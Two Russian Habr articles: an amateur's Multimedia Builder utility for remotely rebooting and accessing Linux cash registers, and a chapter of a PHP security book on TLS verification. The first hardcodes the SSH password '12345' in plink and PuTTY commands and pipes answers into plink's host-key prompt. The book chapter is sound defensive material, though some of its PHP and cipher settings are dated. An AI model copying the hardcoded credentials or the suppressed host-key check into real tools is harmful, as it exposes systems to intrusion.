text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Разработка программы в Multimedia Builder на примере утилиты для удаленной работы с кассовым ПО
Как вы все уже поняли, я просто обычный инженер, но я всегда стремлюсь к тому, чтобы сделать свою работу и коллег намного удобнее.
Думаю каждому ИТ-шнику знакома такая задача, как автоматизация выполнения процессов. Так вот, в процессе своей работы с кассовым ПО мне пришлось столкнуться со множеством повседневных процедур, касающихся удаленного доступа и управлением кассой, а также автоматизацией многих процедур.
Сам я не программист. Несмотря на то, что изучал VB, VBA, JavaScript и PHP, но все это осталось на студенческой скамье.
Так вот, мне как инженеру надоело каждый раз делать одно и тоже и тратить на это время. И я задался вопросом, а можно ли при минимальных знаниях программирования создать какое-нибудь средство по автоматизации поддержки кассового ПО для выполнения повседневных задач?
Обратился к поиску…
Итак, что нашлось?
1. MediaChance Multimedia Builder – это программа для создания приложений автозапуска компакт-дисков. К сожалению, выпуск её новых версий прекратился уже в далеком 2007 году, но некоторые энтузиасты продолжают на ней делать различные фишки. Таких программ полно, но что мне понравилось в этой среде, так это то, что у неё есть свой скриптовый язык, который на мой взгляд достаточно прост в освоении и также есть еще куча плагинов.
2. Batch-script – это скриптовый язык командной строки Windows, проще говоря позволяет автоматизировать действия в bat-файл. Также добавлю от себя, не знаю как для других, а мне оказалось тоже не сложно его освоить и совместить с MultimediaBuilder.
3. Ну еще в придачу PuTTy и PLink. — думаю все знают, что это утилиты для удаленного доступа по SSH-протколу к \*nix-системам.
Итак, у нас в компании есть [серверное ПО](http://www.crystals.ru/avtomatizacija-torgovli/kassovyj-server) и [кассовые программы](http://www.crystals.ru/avtomatizacija-torgovli) для работы магазина. Но как вы все понимаете в процессе работы возникают ситуации, когда нужно подключиться удаленно к магазину.
Я решил несколько упростить себе жизнь и разработал утилиту для решения этой задачи. К моему удивлению, утилита понравилась моим коллегам, и сейчас довольно востребована среди инженеров нашей компании.
Еще раз хочу отметить, что я не профессиональный программист, так что следующая критика, которая будет лететь в мой адрес в плане правильности оптимизации и написания кода, принимается и поощряется.
Задача: нужно очень часто удаленно перезагружать кассу, которая работает под ОС Linux.
Создаем проект в Multimedia Builder и внедряем в него так называемый встроенный объект «Embedded»:
А на кнопку просто вешаем событие, которое будет запускать bat-файл, который будет дергать plink.exe с параметрами. Получилась вот такая простейшая программа:
Стоит отметить, что когда делаешь Embedded Files в Multimedia Builder, то при открытии проги, все внедренные файлы автоматически распаковываются во временную директорию и именно оттуда будут запускаться.
Нажав на кнопку, просто появляется строка, которая из bat-файла выполняет простейший код.
```
SET /p ipcash=Enter CashIP:
plink.exe tc@%ipcash% -pw "12345" "sudo /sbin/reboot"
```
Знаю, что возможно для многих рассказываю вещи достаточно банальные, но для меня, как человека постигавшего азы автоматизации, это все было и остается интересным по сей день.
Что сделал дальше? – А очень просто, выложил на корпоративный ресурс и разослал письмо коллегам, что мол вот есть такая штучка.
И что вы думаете? – Народ начал пользоваться, а соответственно и появились хотелки.
Еще раз отмечу, что создавая такую, штуку, я постигал все просто с нуля о том, как писать batch-скрипты до bash-скриптов и.т.п.
Ну и дальше вышла уже следующая версия. То есть уже появились две кнопочки.
И потом пошло поехало. Причем стоит отметить, чем дальше я углублялся в процесс изучения автоматизации процессов по работе с удаленным подключением, тем больше у меня у самого появлялись идеи, как что-то сделать, лучше чтобы нашему саппорту было удобнее.
Появилась опять следующая версия:
И следующая версия:
И еще следующая версия:
И так версия за версией, рост интереса и моих знаний.
Потом я изучил как делать инсталляционные пакеты и программа получила свой инсталлер:
Ну и функционала добавилось:
И сейчас, спустя два года это выглядит так:
Сейчас можно сказать, что это хороший инструмент по управлению серверами и кассами. Даже сам бы не подумал, что смог такое написать.
Чтобы про неё рассказать не хватит уже к сожалению сил у пальцев руки, так как начиналась она всего лишь с моего простого увлечения или вопроса самому к себе: А как перезагрузить удаленно комп на Линуксе (у нас кассовое по на Линуксе)?
Во что оно превратилось за 4 года вы видели выше.
Но и давайте теперь поделюсь тем, как, например я там все реализую.
Итак, интерфейс со списком касс вы видели, теперь о реализации некоторых функций. Сразу повторюсь, что я можно сказать любитель, и все постигал с нуля, так что любая критика и замечания от профи только приветствуются.
1. Пинг
Я сразу захотел в моих фантазиях, чтобы кликая на кнопочку, можно было бы пинговать кассу и при этом, чтобы она подсвечивалась определенным цветом.
Накодил вот такую вещь:
```
srok1$=cs1$
File1$='cashes/01c.txt'
Rv1=StrToFile(File1$,srok1$,FALSE,FALSE)
clear$=''
srok1$='For /F "Delims=" %%I In (01c.txt) Do Set c01=%%~I'
srok2$='Ping -n 1 -w 1 %c01% >nul'
srok3$='If %ErrorLevel%==0 ('
srok4$=' c01ping.txt'
srok5$=') Else ('
srok6$=' c01ping.txt'
srok7$=')'
File3$='cashes/c01ping\_mmb.bat'
Rv=StrToFile(File3$,clear$,FALSE,FALSE)
Rv=StrToFile(File3$,srok1$,TRUE,TRUE)
Rv=StrToFile(File3$,srok2$,TRUE,TRUE)
Rv=StrToFile(File3$,srok3$,TRUE,TRUE)
Rv=StrToFile(File3$,srok4$,TRUE,TRUE)
Rv=StrToFile(File3$,srok5$,TRUE,TRUE)
Rv=StrToFile(File3$,srok6$,TRUE,TRUE)
Rv=StrToFile(File3$,srok7$,TRUE,TRUE)
Run("\cashes\c01ping\_mmb.bat","HIDE")
Pause("1000")
path1$ = 'cashes/c01ping.txt'
col1$='0,255,0'
col2$='255,0,0'
LoadText("r1$","FILE:path1$")
If (r1$='a') Then
SetObjectParam("bt1","BGCOLOR=col1$")
Else
If (r1$='n') Then
SetObjectParam("bt1","BGCOLOR=col2$")
End
End
```
Суть в том, что сразу при нажатии на кнопку «пинг», ip-адрес записывается в файл для этого поля где адрес. Далее генерим код для батника, который будет читать ip-адрес из текстового файла и запускаем его. По результату батника генерится файл ответ «n» или «a» и в зависимости от этого уже читая результат красим кнопку. Да конечно по-любительски, но работает.
2. Запуск putty.exe без ввода логина и пароля.
Все из вас знают, что если подключаться PuTTy стандартным способом, то нужно ввести логин и пароль. Зачастую у нас в сервисе требуется быстро подключаться к кассе и, в принципе, логин и пароль в большинстве случаев на них по умолчанию.
Если запустить PuTTy, то будет примерно следующее:
Но я подумал, почему бы не сделать, так: клацнул по кнопочке и у тебя сразу открылась командная строка SSH.
Родился вот такой вот любительский код:
```
srok1$=cs1$
File1$='cashes/01c.txt'
Rv1=StrToFile(File1$,srok1$,FALSE,FALSE)
clear$=''
srok01$='For /F "Delims=" %%I In (cashes/01c.txt) Do Set c01=%%~I'
srok02$='REG ADD HKCU\Software\SimonTatham\PuTTY\Sessions\%c01% /f'
srok03$='REG ADD "HKCU\Software\SimonTatham\PuTTY\Sessions\%c01%" /f /v HostName /t REG_SZ /d %c01%'
srok04$='REG ADD "HKCU\Software\SimonTatham\PuTTY\Sessions\%c01%" /f /v LineCodePage /t REG_SZ /d UTF-8'
srok05$='echo y | plink.exe tc@%c01% -pw "12345" exit'
srok06$='putty.exe -load %c01% tc@%c01% -pw "12345"'
File3$='run_putty.bat'
Rv=StrToFile(File3$,clear$,FALSE,FALSE)
Rv=StrToFile(File3$,srok01$,TRUE,TRUE)
Rv=StrToFile(File3$,srok02$,TRUE,TRUE)
Rv=StrToFile(File3$,srok03$,TRUE,TRUE)
Rv=StrToFile(File3$,srok04$,TRUE,TRUE)
Rv=StrToFile(File3$,srok05$,TRUE,TRUE)
Rv=StrToFile(File3$,srok06$,TRUE,TRUE)
Run("run_putty.bat","HIDE")
RunScript("ssh_log_1")
```
Логика:
1. Записываем ip-адрес в текстовый файл.
2. Далее генерим батник.
3. При запуске в переменные батника подставляется ip-адрес.
4. Сессия добавляется в реестр.
5. PuTTy.exe открывает ссесию.
И вуаля:
3. Удаленный VNC-сервер.
Также у нас на кассах есть возможность удаленного подключения по протоколу VNC-сервера, для того, чтобы можно было смотреть, что там кассиры делают.
Для этого я взял Real VNC Viewer.
Далее получился вот такой код:
```
srok1$=cs1$
File1$='cashes/01c.txt'
Rv1=StrToFile(File1$,srok1$,FALSE,FALSE)
clear$=''
srok01$='For /F "Delims=" %%I In (cashes/01c.txt) Do Set c01=%%~I'
srok02$='rem SET /p ipcash=Enter CashIP for run remote DeskTop:'
srok03$='echo n | plink.exe -v -ssh tc@%c01% -pw "12345" -m rdp_vnc_cmd.txt'
srok04$='vncviewer.exe %c01%'
File3$='rn_vnc_mmb.bat'
Rv=StrToFile(File3$,clear$,FALSE,FALSE)
Rv=StrToFile(File3$,srok01$,TRUE,TRUE)
Rv=StrToFile(File3$,srok02$,TRUE,TRUE)
Rv=StrToFile(File3$,srok03$,TRUE,TRUE)
Rv=StrToFile(File3$,srok04$,TRUE,TRUE)
Message("Сейчас будет запущен сеанс удаленной связи. Нажмите ОК и подождите несколько секунд.","")
Run("rn_vnc_mmb.bat","HIDE")
RunScript("vnc_log_1")
```
Логика:
1. Записываем ip-адрес в текстовый файл.
2. Генерим батник, который из этого текстового файла читает ip-адрес.
3. Далее запускается vncviewer.exe, который читает сессию.
Ну и собственно открывается сеанс:
Вот как-то так.
На самом деле есть еще куча всяких примочек.
А выглядит теперь все это уже так спустя 2 года, как я начал все изучать:
И конечно, не обошлось без пасхалок. Сделал одну недавно: если случайно кое-где кликнуть мышкой, то попадаешь в секретный раздел, где много всяких фишек, ну так, чтобы коллег повеселить!
 | https://habr.com/ru/post/242807/ | null | ru | null |
# Книга Безопасность в PHP (часть 4). Недостаток безопасности на транспортном уровне (HTTPS, TLS и SSL)
[Книга «Безопасность в PHP» (часть 1)](https://habrahabr.ru/company/mailru/blog/310726/)
[Книга «Безопасность в PHP» (часть 2)](https://habrahabr.ru/company/mailru/blog/352440/)
[Книга «Безопасность в PHP» (часть 3)](https://habrahabr.ru/company/mailru/blog/352442/)
Связь через интернет между участниками процесса сопряжена с рисками. Когда вы отправляете платёжное поручение в магазин, используя онлайн-сервис, то совершенно точно не хотите, чтобы злоумышленник мог его перехватить, считать, изменить или заново повторить HTTP-запрос к онлайн-приложению. Только представьте себе последствия того, что атакующий считает куку вашей сессии или изменит получателя платежа, товар, платёжный адрес. Или внедрит в разметку, отправляемую магазином в ответ на запрос пользователя, свой HTML или JavaScript.
Защита важных и личных данных — это серьёзный бизнес. У пользователей браузеров и приложений крайне высокие ожидания относительно безопасности. Особое значение имеют целостность транзакций по банковским картам, приватности и идентификационной информации. Решение этих задач, когда речь идёт о защите передачи данных между двумя участниками процесса, требует обеспечения безопасности на транспортном уровне, куда обычно входят HTTPS, TLS и SSL.
Основные задачи мер защиты:
* Безопасное шифрование пересылаемых данных.
* Гарантированная идентификация одной или обеих сторон информационного обмена.
* Защита от искажения данных.
* Защита от атак с повторным воспроизведением.
Важнейший момент: для успешной защиты на транспортном уровне необходимо решить все четыре задачи. Если хоть в чём-то мы не преуспеем, то нас ждут серьёзные проблемы.
Многие ошибочно полагают, что шифрование — это ключевая задача, а все остальные необязательны. Это совершенно неверно. При шифровании пересылаемых данных получатель должен иметь возможность их расшифровать. Это возможно тогда, когда клиент и сервер договорились о ключе шифрования (помимо прочего) в ходе фазы переговоров при попытке клиента установить безопасное соединение. Однако злоумышленник способен внедриться между клиентом и сервером с помощью простых методов. Он может заставить клиентскую машину считать его сервером, это называется атакой «человек посередине» (MitM, Man-in-the-Middle). И тогда переговоры о ключе шифрования будут вестись не с настоящим сервером, а с фальшивым. Это позволит злоумышленнику расшифровывать все пересылаемые клиентом данные. Очевидно, что для защиты от этого сценария нам нужно соблюсти второе требование: возможность проверки идентификации сервера, с которым общается клиент. Без этой проверки мы не отличим целевой сервер от подставного.
Так что для безопасной связи необходимо соблюдать все четыре условия. Каждое из них идеально дополняет остальные три, и только все вместе они обеспечивают надёжную и устойчивую безопасность на транспортном уровне (Transport Layer Security, TLS).
Помимо технических аспектов работы TLS, у качественного обеспечения безопасности есть и другая сторона. Например, если мы позволяем пользователю вводить в форму авторизации приложения данные по HTTP, то должны для себя принять возможность MitM-атаки, в ходе которой будут перехвачены и в дальнейшем использованы авторизационные данные. Или если мы позволяем страницам, которые грузятся по HTTPS, подгружать не HTTPS-ресурсы, то должны для себя принять, что у MitM-злоумышленника есть транспорт, с помощью которого он может провести атаки межсайтового скриптинга и превратить пользовательский браузер в заранее запрограммированное оружие, способное прозрачно действовать через браузерное HTTPS-соединение.
Оценить качество любых мер в сфере безопасности нам помогут очевидные критерии, вытекающие из четырёх основных вышеописанных задач:
* Шифрование: используются ли сильные стандарты шифрования и наборы шифров?
* Идентификация: проверяется ли корректность и полнота идентификации сервера?
* Искажение данных: полностью ли защищаются пользовательские данные в ходе сессии?
* Атаки с повторным воспроизведением: имеются ли методы защиты от злоумышленника, который записывает запросы, чтобы затем снова отправить их на сервер и многократно воспроизвести известные действия или эффекты?
Это ключевые вопросы для всей четвёртой части книги. Мы будем углубляться в те или иные подробности, но всё будет так или иначе вращаться вокруг этих вопросов и определения уязвимостей, когда мы не сможем давать утвердительные ответы.
Ещё один важный момент — какие данные должны защищаться. Очевидно, что это реквизиты банковских карт, информация, позволяющая установить личность, и пароли. А что насчёт ID пользовательской сессии? Если мы защищаем пароли, но не ID, то злоумышленник всё ещё может украсть передаваемые куки и выполнить атаку с перехватом сеанса (Session Hijacking attack), олицетворив собой пользователя на его же собственном компьютере. Одной лишь защиты форм авторизации НИКОГДА не достаточно для сохранения авторизационных данных. Лучшая защита достигается, если пользовательская сессия выполняется только в рамках HTTPS с момента ввода данных в форму до завершения сессии.
Теперь вам нужно понять, почему возникло слово «недостаточно». Проблема реализации SSL/TLS заключается не только в их неиспользовании, но и в использовании в недостаточной для максимальной безопасности мере.
Мы рассмотрим недостаточность безопасности на транспортном уровне с трёх точек зрения:
* Между серверным приложением и сторонним сервером.
* Между клиентом и серверным приложением.
* Между клиентом и серверным приложением с использованием кастомных политик защиты.
К первому пункту относится подтверждение, что наше веб-приложение безопасно подключается к другим участникам процесса. TLS обычно используется для API веб-сервисов и многих других источников входных данных, необходимых для работы приложения.
Ко второму пункту относится взаимодействие пользователей с веб-приложением посредством браузеров или других клиентских приложений. В данном случае мы раскрываем безопасный URL, и нам нужно удостовериться, что меры безопасности реализованы корректно, чтобы не было риска их обхода.
К третьему пункту относятся всякие причудливые решения (curious oddity). Поскольку SSL/TLS имеют репутацию некорректно реализуемых программистами стандартов, существует масса способов обеспечить безопасное подключение без их участия. В качестве примера можно привести использование протоколом OAuth подписанных запросов, которые не требуют SSL/TLS, но предлагают ряд обеспечиваемых теми защитных мер (в частности, опущено шифрование данных запроса). Так что это не идеальное решение, но всё же оно лучше, чем неправильно сконфигурированная SSL/TLS-библиотека.
Прежде чем перейти к подробностям, давайте сначала рассмотрим TLS в целом и получим базовые знания, а потом углубимся во внутренности PHP.
### Определения и базовые уязвимости
TLS — общее название, описывающее меры по созданию безопасного соединения между двумя участниками с помощью шифрования, проверки идентификации и т. д. Большинство из вас уже знакомы с тремя аббревиатурами: HTTPS, SSL, TLS. Давайте кратко пробежимся по ним и по их взаимосвязям.
### SSL/TLS из PHP (сервер-сервер)
Как бы я ни любил PHP как язык программирования, но даже самый поверхностный обзор популярных open source библиотек ясно даёт понять: в них на каждом шагу встречаются уязвимости, связанные с безопасностью на транспортном уровне. И PHP-сообщество терпит эти уязвимости без какой-либо уважительной причины только потому, что проще подвергать пользователей угрозам, чем решать проблемы. Ситуацию усугубляет то, что сам PHP страдает от очень плохой реализации SSL/TLS в PHP-потоках, используемых всюду — от HTTP-клиентов на базе сокетов до `file_get_contents()` и прочих функций файловой системы. Добавьте к этому тот факт, что авторы PHP-библиотек даже не пытаются обсуждать возможные последствия сбоев SSL/TLS для безопасности.
Если вы не будете предпринимать ничего из описанного в этой главе, то хотя бы выполняйте все HTTPS-запросы с помощью расширения cURL для PHP. Его конфигурация по умолчанию обеспечивает безопасность, к тому же расширение опирается на экспертную оценку большого количества пользователей вне сферы PHP. Так что сделайте этот простой шаг к улучшению безопасности, и вы не пожалеете. Идеальным же решением будет, если авторы PHP наконец очнутся и внедрят во встроенную поддержку SSL/TLS принцип Secure By Default (безопасность по умолчанию).
Моё введение в SSL/TLS в PHP получилось очень грубым. TLS-уязвимости гораздо проще, чем большинство проблем в сфере безопасности, и все мы знаем, какое значение это имеет для браузеров. Но наше серверное приложение — не менее важное звено цепочки обеспечения безопасности пользовательских данных. Так что давайте подробнее рассмотрим SSL/TLS в PHP, в свою очередь, глядя на PHP-потоки и превосходное расширение cURL.
#### PHP-потоки
Для тех, кто не знаком с потоками: они нужны для обобщения (generalize) файлов, сети и прочих операций, совместно использующих общую функциональность. Чтобы поток знал, как работать с конкретным протоколом, применяются «обёртки», позволяющие потоку представлять файл, HTTP-запрос, PHAR-архив, URI данных (RFC 2397) и т. д. Чтобы инициировать поток, достаточно вызвать функцию вспомогательного файла (supporting file function) с соответствующим URL, которые обозначают обёртку и целевой ресурс.
```
file_get_contents('file:///tmp/file.ext');
```
По умолчанию потоки используют файловую обёртку (File Wrapper), так что обычно вам не нужен URL, достаточно даже относительного пути к файлам. Это очевидно, поскольку большинство функций файловой системы вроде `file()`, `include()`, `require_once` и `file_get_contents()` принимают поточные ссылки (stream references). Так что перепишем предыдущий пример:
```
file_get_contents('/tmp/file.ext');
```
Учитывая обсуждаемую тему, можно сделать и так:
```
file_get_contents('http://www.example.com');
```
Поскольку функции файловой системы — например `file_get_contents()` — поддерживают обёрнутые в HTTP потоки (HTTP wrapped streams), то они формируют в PHP HTTP-клиент, к которому очень просто получить доступ. Их можно использовать, если вы не чувствуете необходимости применять выделенные библиотеки для создания HTTP-клиентов вроде Guzzle, Buzz или классов из фреймворка Zend `\Zend\Http\Client`. Чтобы ваш простенький клиент заработал, нужно включить опцию `allow_url_fopen` в файле `php.ini`. По умолчанию она включена.
Конечно, включение `allow_url_fopen` влечёт за собой риск атак с удалённым исполнением файлов, обходом контроля доступа или раскрытием информации. Если злоумышленник сможет по своему выбору внедрить в файловую функцию удалённый URI, то он с лёгкостью заставит приложение выполнять, хранить или отображать загруженный файл, в том числе из удалённого ненадёжного источника.
Не забывайте о том, что файлы будут подгружаться из `localhost`, а значит, смогут обходить контроль доступа на основе ограничений, прописанных на локальном сервере. И если опция `allow_url_fopen` включена по умолчанию, то для наибольшей безопасности её придётся отключить.
Вернёмся к использованию PHP-потоков в качестве простого HTTP-клиента (а теперь вы знаете, что это **не рекомендуется**). Всё становится интереснее, если вы попробуете сделать так:
```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$result = file_get_contents($url);
```
Это простой неаутентифицированный запрос через HTTPS к (бывшему) Twitter API 1.0. Здесь есть серьёзная утечка. Для запросов, выполняемых с помощью HTTPS- (https://) и FTPS- (ftps://) обёрток, PHP использует `SSL Context`. Здесь есть много настроек для SSL/TLS, а также их значений по умолчанию, которые абсолютно небезопасны. Перепишем пример так, чтобы проиллюстрировать, как можно вставить исходный набор настроек `SSL Context` в качестве параметра в `file_get_contents()`:
```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$contextOptions = array(
'ssl' => array()
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
```
Как говорилось выше, если вы неправильно сконфигурируете SSL/TLS, то приложение будет беззащитно перед атаками «человек посередине». PHP-потоки по умолчанию совершенно небезопасны при работе через SSL/TLS. Так что давайте исправим наш пример, чтобы он стал полностью безопасен.
```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$contextOptions = array(
'ssl' => array(
'verify_peer' => true,
'cafile' => '/etc/ssl/certs/ca-certificates.crt',
'verify_depth' => 5,
'CN_match' => 'api.twitter.com',
'disable_compression' => true,
'SNI_enabled' => true,
'ciphers' => 'ALL!EXPORT!EXPORT40!EXPORT56!aNULL!LOW!RC4'
)
);
$sslContext = stream_context_create($contextOptions);
$result = file_get_contents($url, NULL, $sslContext);
```
Теперь всё в порядке! Если сравнить с предыдущей версией, то вы заметите, что мы настроили четыре опции, которые изначально были не настроены или отключены PHP. Давайте разберёмся, что они делают.
* verify\_peer
Проверка пира (Peer Verification) — проверка достоверности SSL-сертификата, предоставленного хостом, на который мы отправили HTTPS-запрос. Правильный сертификат подписан закрытым ключом надёжного удостоверяющего центра (Certificate Authority, CA). Проверку можно выполнить с помощью открытого ключа CA, который включается в файловый набор в виде опции `cafile` для используемого нами SSL Context. Кроме того, сертификат не должен быть просрочен.
* cafile
Настройка `cafile` должна указывать на валидный файл, содержащий открытый ключ надёжного CA. В PHP это не делается автоматически, поэтому держите ключи в связанном файле специального формата (обычно PEM или CRT). Если вы не можете найти копию, то скачайте и спарсите из [Mozilla VCS](https://curl.haxx.se/ca/cacert.pem). Без этого файла невозможно проверить пир, и запрос не будет выполнен.
* verify\_depth
Эта настройка задаёт максимально допустимое количество промежуточных издателей сертификатов, т. е. количество CA-сертификатов, которые могут использоваться при проверке исходного клиентского сертификата.
* CN\_match
Три предыдущие опции относятся к проверке предоставляемого сервером сертификата. Однако они не помогают нам понять, валиден ли он запрашиваемому нами доменному имени или IP, т. е. части URL, относящейся к хосту. Чтобы выяснить, привязан ли сертификат к текущему домену/IP, выполним проверку хоста (Host Verification). В PHP для этого нужно задать `CN_match` значение хоста (в SSL Context), включая поддомен, если есть. Пока задана эта опция, PHP будет выполнять внутреннюю проверку. Если же этого не делать, то во время атаки «человек посередине» злоумышленник может предоставить валидный сертификат, подписанный надёжным CA. Но сертификат будет валидным для домена, находящегося под контролем атакующего, а не для того домена, к которому вы хотели подключиться. Настройка опции `CN_match` поможет определить несовпадение сертификатов и приведёт к невыполнению HTTPS-запроса.
Поскольку используемый злоумышленником валидный сертификат будет содержать идентификационную информацию атакующего (это условие его получения!), то имейте в виду, что подкованному злоумышленнику доступно любое количество валидных, подписанных CA сертификатов в комплекте с соответствующими закрытыми ключами. Они могли быть украдены у других компаний либо проскользнуть через проверку надёжных CA. Так это произошло в 2011 году, когда DigiNotor выпустил для `google.com` сертификат для неизвестной стороны. Она использовала его для атак «человек посередине», преимущественно против иранских пользователей.
* disable\_compression
Эта опция появилась в PHP 5.4.13. Она нужна для защиты от атак CRIME и других атак с дополнением блоков наподобие BEAST. На момент написания этой части книги опция была доступна уже 10 месяцев. Потребовалось немало терпения, чтобы обнаружить практически единственный пример её использования в open source PHP.
* SNI\_enabled
Включает поддержку указания имени сервера (Server Name Indication), когда любой одиночный IP может быть настроен для работы нескольких SSL-сертификатов, чтобы не ограничиваться одним сертификатом для всех сайтов или не HTTP-сервисов, хостящихся на этом IP.
* ciphers
Эта настройка помогает отображать, какие шифры следует или не следует выбирать при установке SSL/TLS-соединений. Список по умолчанию предоставляется расширением openssl. Он содержит небезопасные шифры, которые стоит отключить, если только вы не вынуждены их применять. Нижеприведённый список, использующий принятый в openssl синтаксис, был реализован cURL в январе 2014-го. Предложенный Mozilla альтернативный список может быть лучше, поскольку упор в нём сделан на полную безопасность пересылки (Perfect Forward Secrecy), это лучший практический подход. Список Mozilla длиннее:
```
ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:ECDHE-RSA-RC4-SHA:ECDHE-ECDSA-RC4-SHA:AES128:AES256:RC4-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!3DES:!MD5:!PSK
```
### *Ограничения*
Как описано выше, проверка предоставленного сервером сертификата на валидность для хоста, указанного в используемом вами URL, при атаке «человек посередине» не позволяет просто подсунуть любой валидный сертификат, купленный или полученный нелегально. Это один из четырёх неотъемлемых шагов, позволяющих сделать ваше соединение полностью безопасным.
Система выполняет проверку благодаря параметру `CN_match`, объявляемому `SSL Context` в HTTPS-обёртке PHP. Но у него есть недостаток. На момент написания книги проверялось лишь общее наименование (Common Name, CN) SSL-сертификата, а валидность определяемого сертификатом поля «дополнительное имя субъекта» (Subject Alternative Name, SAN) не проверялась. SAN позволяет защищать несколько имён доменов с помощью одного SSL-сертификата, поэтому оно крайне важно и поддерживается всеми современными браузерами. А поскольку PHP пока что не поддерживает проверку SAN, то SSL/TLS-подключения к домену, защищённому таким сертификатом, установлены не будут. Поддержка SAN появится в PHP с версии 5.6.
C другой стороны, расширение cURL из коробки поддерживает SAN, так что его использование гораздо надёжнее и предпочтительнее по сравнению со встроенными в PHP HTTPS/FTPS-обёртками. В связи с этим применение PHP-потоков с большой вероятностью может привести к ошибочному поведению, и нетерпеливые программисты просто отключат проверку хоста в целом, что крайне нежелательно делать.
### *SSL Context в PHP-сокетах*
Многие HTTP-клиенты в PHP предлагают и cURL-адаптер, и используемый по умолчанию PHP-сокет адаптер. Применение последнего по умолчанию говорит о том, что cURL — опциональное расширение, на практике его можно отключить.
PHP-сокеты используют тот же ресурс `SSL Context`, что и PHP-потоки, поэтому здесь присутствуют те же проблемы и ограничения, что описаны выше. Побочный эффект: многие основные HTTP-клиенты, скорее всего, априори ненадёжны и менее безопасны, чем должны быть. Подобные клиентские библиотеки, когда это возможно, необходимо конфигурировать так, чтобы они использовали cURL-адаптер. Также проверяйте, чтобы клиенты не забывали применять правильный подход к обеспечению безопасности SSL/TLS.
### *Дополнительные риски*
### Расширение cURL
В отличие от PHP-потоков, расширение cURL лишь передаёт данные, в том числе HTTP-запросы. Также, в отличие от `SSL Context` потоков, cURL по умолчанию безопасно выполняет запросы через SSL/TLS. Вам для этого ничего не нужно делать, если только оно не было скомпилировано без хранилища пакета CA-сертификатов (например, без файла cert.pem или ca-bundle.crt с сертификатами надёжных CA).
Поскольку это не требует особого подхода, вы можете вызвать Twitter API — аналогично тому, как мы делали это раньше для SSL/TLS с использованием PHP-потока. Минимум хлопот, и не надо беспокоиться о том, что вы забудете о каких-то опциях, которые откроют вас для атаки «человек посередине».
```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$req = curl_init($url);
curl_setopt($req, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($req);
```
Поэтому для HTTPS-запросов рекомендую cURL. По умолчанию это безопасно, а PHP-потоки — наверняка нет. В противном случае просто используйте cURL, это избавит вас от головной боли. В конечном счёте cURL безопаснее, требует меньше кода и с меньшей вероятностью подвержен сбоям в безопасности SSL/TLS по вине ошибок человека.
На момент написания книги PHP 5.6 достиг версии alpha1. В финальном релизе появятся более безопасные значения по умолчанию для PHP-потоков и сокет-соединений через SSL/TLS. Эти нововведения не будут портированы в PHP 5.3, 5.4 или 5.5. Поэтому программистам придётся сознательно внедрять безопасные настройки по умолчанию, пока PHP 5.6 не превратится в необходимый минимум.
Конечно, если расширение cURL было включено без настройки размещения пакета надёжных сертификатов, то вышеприведённый пример работать не будет. Для публично распространяемых библиотек нужно принудительно настраивать безопасное поведение:
```
$url = 'https://api.twitter.com/1/statuses/public_timeline.json';
$req = curl_init($url);
curl_setopt($req, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($req);
/**
* Проверяет, является ли ошибка сбоем SSL, повторяет попытку с помощью пакета
* CA-сертификатов, предполагая, что локальный сервер не сконфигурирован
* для ext/curl. Ошибка 77 ссылается на CURLE_SSL_CACERT_BADFILE, который
* по какой-то причине не определён в качестве константы в мануале PHP.
*/
$error = curl_errno($req);
if ($error == CURLE_SSL_PEER_CERTIFICATE || $error == CURLE_SSL_CACERT
|| $error == 77) {
curl_setopt($req, CURLOPT_CAINFO, __DIR__ . '/cert-bundle.crt');
$result = curl_exec($req);
}
/**
* Все последующие ошибки нельзя исправить без нарушения безопасности.
* Поэтому не пытайтесь отключить SSL и попробовать снова ;).
*/
```
Самая сложная часть, очевидно, распространение файла с пакетом сертификатов `cert-bundle.crt` или `cafile.pem` (имя файла варьируется в зависимости от источника!). Сертификат любого CA может быть в любое время аннулирован большинством браузеров в случае нарушения их безопасности или процессов рецензирования (peer review), так что долго не обновлять файл с сертификатами — не лучшая идея. Тем не менее самое очевидное решение — распространять копию файла с библиотекой или приложением, для которого он требуется.
Если вы не можете строго контролировать обновление распространяемого пакета сертификатов или вам нужен инструмент, способный периодически выполнять за вас эту проверку, воспользуйтесь [Sslurp](https://github.com/EvanDotPro/Sslurp).
SSL/TLS-соединения со стороны клиента (клиент/браузер-сервер)
-------------------------------------------------------------
Большая часть того, о чём мы говорили до этого, была связана с SSL/TLS-соединениями, устанавливаемыми с другим сервером по инициативе PHP веб-приложения. Конечно, есть ещё ряд проблем в безопасности, когда приложение оказывает SSL/TLS-поддержку клиентским браузерам и другим приложениям. Здесь возникает риск атак, связанных с уязвимостями защиты на транспортном уровне.
Если вдуматься, то всё это довольно просто. Скажем, я создаю онлайн-приложение, обеспечивающее защиту при вводе пользовательского пароля. Форма авторизации обслуживается через HTTPS, и данные из неё тоже передаются через HTTPS. Миссия выполнена. Чтобы начать работу в своём аккаунте, пользователь был перенаправлен на HTTP URL. Заметили проблему?
